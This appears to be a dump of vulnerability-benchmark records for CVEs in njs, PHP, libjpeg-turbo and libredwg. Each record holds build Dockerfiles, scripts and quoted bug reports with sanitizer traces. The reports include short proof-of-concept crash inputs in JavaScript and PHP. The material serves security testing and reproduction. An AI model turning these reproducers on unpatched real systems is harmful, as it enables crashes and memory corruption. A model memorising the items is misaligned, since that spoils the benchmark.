RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout c3da13fb18f0d8ec809b346096feab572e634486
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/323
## Description:
Issue: nginx/njs#323
Title: Segfault in njs_lvlhsh_bucket_find
State: closed
Created by: Changochen
Created at: 2020-06-27 19:58:35+00:00
Labels: bug, fuzzer, fluff
Issue Body:
Version:`0.4.2`, git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`
POC:
```javascript
var once = false ;
var a = 1 ;
function f ( ) { if ( this [ 8 ] = new Uint32Array ( this , this [ 8 ] , ) ) { a = new Array ( new Uint32Array ( a = new Array ( Array , 3 ) ) , { }
, new ArrayBuffer ( this [ 8 ] ) , 2 , 3 ) ;
this [ 2 ] = a ;
}
once = true ;
return { }
;
}
JSON.parse ( "[1, 2, [4, 5]]" , f ) ;
```
cmd: `njs poc.js`
Stack dump:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==164285==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004ce9a5 bp 0x000067ce764b sp 0x7ffe994919f0 T0)
==164285==The signal is caused by a READ memory access.
==164285==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4ce9a5 in njs_lvlhsh_level_find /home/yongheng/njs/src/njs_lvlhsh.c:203:12
#1 0x4ce9a5 in njs_lvlhsh_find /home/yongheng/njs/src/njs_lvlhsh.c:184:16
#2 0x57ef76 in njs_object_property /home/yongheng/njs/src/njs_object_prop.c:59:15
#3 0x4ea207 in njs_value_to_primitive /home/yongheng/njs/src/njs_value.c:156:19
#4 0x59efce in njs_value_to_chain /home/yongheng/njs/src/njs_value_conversion.h:217:19
#5 0x59efce in njs_array_prototype_join /home/yongheng/njs/src/njs_array.c:1630:23
#6 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#7 0x5fdbb5 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#8 0x5fdbb5 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
#9 0x590774 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
#10 0x590774 in njs_array_prototype_to_string /home/yongheng/njs/src/njs_array.c:1539:20
#11 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#12 0x5fdbb5 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#13 0x5fdbb5 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
#14 0x4ea2a6 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
#15 0x4ea2a6 in njs_value_to_primitive /home/yongheng/njs/src/njs_value.c:163:23
#16 0x7369f7 in njs_value_to_number /home/yongheng/njs/src/njs_value_conversion.h:18:15
#17 0x7369f7 in njs_typed_array_constructor /home/yongheng/njs/src/njs_typed_array.c:145:19
#18 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#19 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#20 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
#21 0x5fdd23 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:175:16
#22 0x5fdd23 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
#23 0x5e6583 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
#24 0x5e6583 in njs_json_parse_iterator_call /home/yongheng/njs/src/njs_json.c:1015:15
#25 0x5e6583 in njs_json_parse_iterator /home/yongheng/njs/src/njs_json.c:971:15
#26 0x5e6583 in njs_json_parse /home/yongheng/njs/src/njs_json.c:167:16
#27 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#28 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#29 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
#30 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
#31 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
#32 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
#33 0x7fc3ca354b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#34 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yongheng/njs/src/njs_lvlhsh.c:203:12 in njs_lvlhsh_level_find
==164285==ABORTING
```
Commit References:
32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5
|
[] |
[
{
"sha": "32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5",
"url": "https://github.com/nginx/njs/commit/32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5"
},
{
"sha": "9ab425eac2b6c7eb3a932c8e6934e9992435e328",
"url": "https://github.com/nginx/njs/commit/9ab425eac2b6c7eb3a932c8e6934e9992435e328"
}
] |
php.cve-2020-7064
|
php/php-src
|
f5377d26dae3a2168b19f751535d0c4ef1d0aa50
| 2020-03-17T05:04:41
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout f5377d26dae3a2168b19f751535d0c4ef1d0aa50
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
autoreconf -vfi
./configure
make -j$(nproc)
export ONIG_CFLAGS="-I$PWD/oniguruma/src"
export ONIG_LIBS="-L$PWD/oniguruma/src/.libs -l:libonig.a"
export CFLAGS="$CFLAGS -fno-sanitize=object-size"
export CXXFLAGS="$CXXFLAGS -fno-sanitize=object-size"
./buildconf --force
./configure \
--disable-all \
--enable-option-checking=fatal \
--enable-json \
--enable-exif \
--enable-mbstring \
--without-pcre-jit \
--disable-phpdbg \
--disable-cgi \
--with-pic
|
/src/php-src
|
memory
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=79282
## Description:
PHP Bug ID: 79282
Summary: Use-of-uninitialized-value in exif
Status: Closed
PHP Version: master-Git-2020-02-19 (Git)
Assigned: stas (profile)
CVE-ID: 2020-7064
Description:
Description:
------------
From https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=19581.
<?php
var_dump(exif_read_data('data://image/jpeg;base64,/9jhAAlFeGlmAAAg'));
Results in:
Uninitialized bytes in MemcmpInterceptorCommon at offset 1 inside [0x7010000006e8, 2)
==1==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x5004dc in __interceptor_bcmp /src/llvm-project/compiler-rt/lib/sanitizer_common/sanitizer_common_interceptors.inc:885:10
#1 0x86693b in exif_process_TIFF_in_JPEG php-src/ext/exif/exif.c:3596:6
#2 0x861b7e in exif_scan_JPEG_header php-src/ext/exif/exif.c:3793:6
#3 0x8609eb in exif_scan_FILE_header php-src/ext/exif/exif.c:4186:8
#4 0x8602bb in exif_read_from_impl php-src/ext/exif/exif.c:4327:8
#5 0x858b52 in exif_read_from_stream php-src/ext/exif/exif.c:4344:8
#6 0x856001 in zif_exif_read_data php-src/ext/exif/exif.c:4434:9
#7 0x112596d in zend_call_function php-src/Zend/zend_execute_API.c:817:4
#8 0x11236e2 in _call_user_function_ex php-src/Zend/zend_execute_API.c:638:9
#9 0x1696c7a in fuzzer_call_php_func_zval php-src/sapi/fuzzer/fuzzer-sapi.c:247:2
#10 0x169596f in LLVMFuzzerTestOneInput php-src/sapi/fuzzer/fuzzer-exif.c:52:2
#11 0x481101 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:556:15
#12 0x46bc21 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:292:6
#13 0x4718de in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:774:9
#14 0x49b802 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:19:10
#15 0x7f3e6199882f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/libc-start.c:291
#16 0x445098 in _start
Uninitialized value was created by a heap allocation
#0 0x4fc67d in malloc /src/llvm-project/compiler-rt/lib/msan/msan_interceptors.cpp:925:3
#1 0x1088155 in __zend_malloc php-src/Zend/zend_alloc.c:2975:14
#2 0x1082159 in _emalloc php-src/Zend/zend_alloc.c:2535:10
#3 0x865d76 in exif_file_sections_add php-src/ext/exif/exif.c:2042:10
#4 0x8618c0 in exif_scan_JPEG_header php-src/ext/exif/exif.c:3747:8
#5 0x8609eb in exif_scan_FILE_header php-src/ext/exif/exif.c:4186:8
#6 0x8602bb in exif_read_from_impl php-src/ext/exif/exif.c:4327:8
#7 0x858b52 in exif_read_from_stream php-src/ext/exif/exif.c:4344:8
#8 0x856001 in zif_exif_read_data php-src/ext/exif/exif.c:4434:9
#9 0x112596d in zend_call_function php-src/Zend/zend_execute_API.c:817:4
#10 0x11236e2 in _call_user_function_ex php-src/Zend/zend_execute_API.c:638:9
#11 0x1696c7a in fuzzer_call_php_func_zval php-src/sapi/fuzzer/fuzzer-sapi.c:247:2
#12 0x169596f in LLVMFuzzerTestOneInput php-src/sapi/fuzzer/fuzzer-exif.c:52:2
#13 0x481101 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:556:15
#14 0x46bc21 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:292:6
#15 0x4718de in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:774:9
#16 0x49b802 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:19:10
#17 0x7f3e6199882f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/libc-start.c:291
I can't reproduce under valgrind, so also can't tell which versions are affected.
Comments:
[Comment 1] [2020-02-19 10:08 UTC] [email protected]
Patch candidate: https://gist.github.com/nikic/041b154eb0919e1d407523eca9b21176
This is really a one byte out-of-bounds read that happens to fall into one uninitialized byte that was over-allocated. I'm adding a bounds check and removing the over-allocation.
Links: https://gist.github.com/nikic/041b154eb0919e1d407523eca9b21176
[Comment 2] [2020-03-16 03:30 UTC] [email protected]
I've verified that the fix fixes the issue on oss-fuzz setup.
|
[
{
"content": "deb http://archive.ubuntu.com/ubuntu/ cosmic universe\n\n",
"filename": "cosmic.list"
}
] |
[] |
libjpeg-turbo.cve-2021-29390
|
libjpeg-turbo/libjpeg-turbo
|
4e52b66f342a803d3b8099b79607e3158d3a241c
| 2020-11-24T21:56:19
|
libjpeg-turbo
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool nasm curl cmake
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo libjpeg-turbo
RUN git -C libjpeg-turbo checkout 4e52b66f342a803d3b8099b79607e3158d3a241c
WORKDIR $SRC/libjpeg-turbo
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cmake . -DCMAKE_INSTALL_PREFIX=$WORK -DENABLE_STATIC:bool=on
make "-j$(nproc)"
make install -j$(nproc)
|
/src/libjpeg-turbo
|
address
|
================= Bug Report (1/1) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1943797
## Description:
Bugzilla ID: 1943797
Title: libhpeg-turbo version 2.0.90 is vulnerable to a heap-buffer-overflow vulnerability in decompress_smooth_data in jdcoefct.c.
Description
Jie_0Y 2021-03-27 13:51:18 UTC
Created attachment 1766892 [details]
poc
Description of problem:
libhpeg-turbo version 2.0.90 is vulnerable to a heap-buffer-overflow vulnerability in decompress_smooth_data in jdcoefct.c.
Version-Release number of selected component (if applicable):
2.0.90(2.1 beta1)
How reproducible:
OS version: ubuntu 18.04.1
Linux 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
GCC version
gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
Steps to Reproduce:
Compile with Address Sanitizer (ASan) :
./djpeg poc.jpg
Actual results:
./djpeg poc.jpg
Corrupt JPEG data: 13 extraneous bytes before marker 0xdb
P6
4 544
255
=================================================================
==42286==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000004ea0 at pc 0x7fe1b5a4f17c bp 0x7ffc88ac4870 sp 0x7ffc88ac4860
READ of size 2 at 0x621000004ea0 thread T0
#0 0x7fe1b5a4f17b in decompress_smooth_data /home/ostrich/build/libjpeg-turbo-2.0.90/jdcoefct.c:595
#1 0x7fe1b5a81b49 in process_data_simple_main /home/ostrich/build/libjpeg-turbo-2.0.90/jdmainct.c:300
#2 0x7fe1b5a3423c in jpeg_read_scanlines /home/ostrich/build/libjpeg-turbo-2.0.90/jdapistd.c:287
#3 0x55f4b1cb2b84 in main /home/ostrich/build/libjpeg-turbo-2.0.90/djpeg.c:810
#4 0x7fe1b552abf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#5 0x55f4b1cb4179 in _start (/home/ostrich/testbases/libjpeg/djpeg+0x9179)
0x621000004ea0 is located 105 bytes to the right of 4407-byte region [0x621000003d00,0x621000004e37)
allocated by thread T0 here:
#0 0x7fe1b5e8cb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fe1b5b30e47 in alloc_large /home/ostrich/build/libjpeg-turbo-2.0.90/jmemmgr.c:391
#2 0x7fe1b5b30e47 in alloc_barray /home/ostrich/build/libjpeg-turbo-2.0.90/jmemmgr.c:527
#3 0x7fe1b5b30e47 in realize_virt_arrays /home/ostrich/build/libjpeg-turbo-2.0.90/jmemmgr.c:741
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ostrich/build/libjpeg-turbo-2.0.90/jdcoefct.c:595 in decompress_smooth_data
Shadow bytes around the buggy address:
0x0c427fff8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff89a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff89c0: 00 00 00 00 00 00 07 fa fa fa fa fa fa fa fa fa
=>0x0c427fff89d0: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8a20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==42286==ABORTING
Expected results:
Additional info:
Comments:
Comment 1
Sandipan Roy 2023-08-30 13:18:08 UTC
Making the report Public as CVE-2021-29390 is already public.
---
Comment 2
František Zatloukal 2024-02-06 23:04:22 UTC
This was fixed in the 2.1.0 release long time ago, closing.
Attachments:
Attachment 1766892: poc [Link: https://bugzilla.redhat.com/attachment.cgi?id=1766892]
|
[
{
"content": "/*\n# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n################################################################################\n*/\n\n#include <stdint.h>\n#include <stdlib.h>\n\n#include <memory>\n\n#include <turbojpeg.h>\n\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n tjhandle jpegDecompressor = tjInitDecompress();\n\n int width, height, subsamp, colorspace;\n int res = tjDecompressHeader3(\n jpegDecompressor, data, size, &width, &height, &subsamp, &colorspace);\n\n // Bail out if decompressing the headers failed, the width or height is 0,\n // or the image is too large (avoids slowing down too much). Cast to size_t to\n // avoid overflows on the multiplication\n if (res != 0 || width == 0 || height == 0 || ((size_t)width * height > (1024 * 1024))) {\n tjDestroy(jpegDecompressor);\n return 0;\n }\n\n const int buffer_size = width * height * 3;\n std::unique_ptr<unsigned char[]> buf(new unsigned char[buffer_size]);\n tjDecompress2(\n jpegDecompressor, data, size, buf.get(), width, 0, height, TJPF_RGB, 0);\n\n // For memory sanitizer, test each output byte\n const unsigned char* raw_buf = buf.get();\n int count = 0;\n for( int i = 0; i < buffer_size; i++ )\n {\n if (raw_buf[i])\n {\n count ++;\n }\n }\n if (count == buffer_size)\n {\n // Do something with side effect, so that all the above tests don't\n // get removed by the optimizer.\n free(malloc(1));\n }\n\n tjDestroy(jpegDecompressor);\n\n return 0;\n}\n",
"filename": "libjpeg_turbo_fuzzer.cc"
}
] |
[
{
"sha": "4e52b66f342a803d3b8099b79607e3158d3a241c",
"url": null
}
] |
php.cve-2016-4073
|
php/php-src
|
fc1df8e7a6886e29a6ed5bef3f674ac61164e847
| 2014-08-27T08:31:35
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fc1df8e7a6886e29a6ed5bef3f674ac61164e847
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=71906
## Description:
PHP Bug ID: 71906
Summary: AddressSanitizer: negative-size-param (-1) in mbfl_strcut
Status: Closed
PHP Version: 5.5.33
Assigned: stas (profile)
CVE-ID: 2016-4073
Description:
Description:
------------
1. Compile PHP with ASAN enabled.
2. Run attached test case on 32 bits.
php5-5.6.17+dfsg.orig/ext/mbstring/mbstring.c:2858
2858 if (len < 0) {
(gdb) print len
$64 = 2147483647
This value will later set the sz value to -1, and that value is used inside memcpy.
php5-5.6.17+dfsg.orig/ext/mbstring/libmbfl/mbfl/mbfilter.c:1542
1560 sz = end - start;
...
1568 memcpy(w, start, sz);
Test script:
---------------
<?php
$var1="AAAA";
$var2=1;
$var3=2147483647; //max int
mb_strcut($var1, $var2, $var3);
Expected result:
----------------
Not crash
Actual result:
--------------
=================================================================
==415==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0xb7ae5b04 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ab04)
#1 0xb7ae5c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
#2 0x87cb167 in memcpy /usr/include/i386-linux-gnu/bits/string3.h:53
#3 0x87cb167 in mbfl_strcut /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/ext/mbstring/libmbfl/mbfl/mbfilter.c:1568
#4 0x87fcb5e in zif_mb_strcut /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/ext/mbstring/mbstring.c:2869
#5 0x9a3a625 in zend_do_fcall_common_helper_SPEC /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/Zend/zend_vm_execute.h:558
#6 0x9626675 in execute_ex /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/Zend/zend_vm_execute.h:363
#7 0x97d2a43 in zend_execute /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/Zend/zend_vm_execute.h:388
#8 0x94291fb in zend_execute_scripts /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/Zend/zend.c:1341
#9 0x912def5 in php_execute_script /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/main/main.c:2597
#10 0x9a47448 in do_cli /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/sapi/cli/php_cli.c:994
#11 0x8087418 in main /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/sapi/cli/php_cli.c:1378
#12 0xb7640645 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18645)
#13 0x80879eb (/home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/sapi/cli/php+0x80879eb)
0xb3017411 is located 97297 bytes inside of 1048576-byte region [0xb2fff800,0xb30ff800)
allocated by thread T0 here:
#0 0xb7af1d06 in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96d06)
#1 0x954157e in zend_interned_strings_init /home/fmunozs/phpasan/php5-5.6.17+dfsg.orig/Zend/zend_string.c:48
SUMMARY: AddressSanitizer: negative-size-param ??:0 __asan_memcpy
Comments:
[Comment 1] [2016-03-28 08:22 UTC] [email protected]
This should fix it: https://gist.github.com/smalyshev/d8355c96a657cc5dba70
Please verify.
Links: https://gist.github.com/smalyshev/d8355c96a657cc5dba70
[Comment 2] [2016-03-28 08:27 UTC] [email protected]
In security repo as 64f42c73efc58e88671ad76b6b6bc8e2b62713e1
[Comment 3] [2016-03-29 00:29 UTC] fernando at null-life dot com
Patch works, I don't get any warning now
Commit References:
64f42c73efc58e88671ad76b6b6bc8e2b62713e1
|
[] |
[
{
"sha": "64f42c73efc58e88671ad76b6b6bc8e2b62713e1",
"url": "https://github.com/php/php-src/commit/64f42c73efc58e88671ad76b6b6bc8e2b62713e1"
},
{
"sha": "c05240731",
"url": null
}
] |
libredwg.cve-2019-9779
|
libredwg/libredwg
|
3406d1e5b611cdb898e14d5a47e30fdc4d59c9a5
| 2018-12-05T17:15:15
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 3406d1e5b611cdb898e14d5a47e30fdc4d59c9a5
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/99
## Description:
Issue: LibreDWG/libredwg#99
Title: fuzzing results LibreDWG
State: closed
Created by: YourButterfly
Created at: 2019-03-12 10:51:26+00:00
Labels: bug
Issue Body:
# libredwg
## version
libredwg 0.7 and 0.7.1645
## description
```txt
libredwg
```
## download link
https://github.com/LibreDWG/libredwg/releases
---------------------
## [email protected]:2034-3___null-pointer-dereference
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LEADER at dwg.spec:2034-3
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32285==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4d91d2b51e bp 0x0c22000045e3 sp 0x7ffd87ed4b60 T0)
==32285==The signal is caused by a READ memory access.
==32285==Hint: address points to the zero page.
#0 0x7f4d91d2b51d in dwg_dxf_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3
#1 0x7f4d91d2b51d in dwg_dxf_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:934
#2 0x7f4d91ca1ba7 in dxf_entities_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1528:18
#3 0x7f4d91ca1ba7 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1596
#4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#5 0x7f4d905aab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 in dwg_dxf_LEADER
==32285==ABORTING
```
### others
from fuzz project None
crash name None-00000007-1552381583.dwg
Auto-generated by pyspider at 2019-03-12 18:15:41
## bit_read_B@___out-of-bounds-read
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function bit_read_B at
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32294==ERROR: AddressSanitizer: SEGV on unknown address 0x7f6692681af1 (pc 0x7f6675cd7f01 bp 0x0c0800001814 sp 0x7ffc0f5f3ef0 T0)
==32294==The signal is caused by a READ memory access.
#0 0x7f6675cd7f00 in bit_read_B /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c
#1 0x7f6675f33256 in obj_string_stream /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode_r2007.c:1126:22
#2 0x7f6675ea3b0f in dwg_decode_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2738:18
#3 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1
#4 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530
#5 0x7f6675d81cc6 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809
#6 0x7f6675d113d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19
#7 0x7f6675d113d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230
#8 0x7f6675cf4049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
#9 0x7f6675ccf4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11
#10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15
#11 0x7f6674bacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c in bit_read_B
==32294==ABORTING
```
### others
from fuzz project None
crash name None-00000006-1552381538.dwg
Auto-generated by pyspider at 2019-03-12 18:15:42
## [email protected]:2353-32___heap-buffer-overflow
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2353-32
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
2348 data->u.eed_4.data[j] = bit_read_RC(dat);
2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data);
2350 break;
2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/
2352 data->u.eed_10.point.x = bit_read_RD(dat);
► 2353 data->u.eed_10.point.y = bit_read_RD(dat);
2354 data->u.eed_10.point.z = bit_read_RD(dat);
2355 LOG_TRACE("3dpoint: %f, %f, %f\n",
2356 data->u.eed_10.point.x,
2357 data->u.eed_10.point.y,
2358 data->u.eed_10.point.z);
```
### bug report
```txt
=================================================================
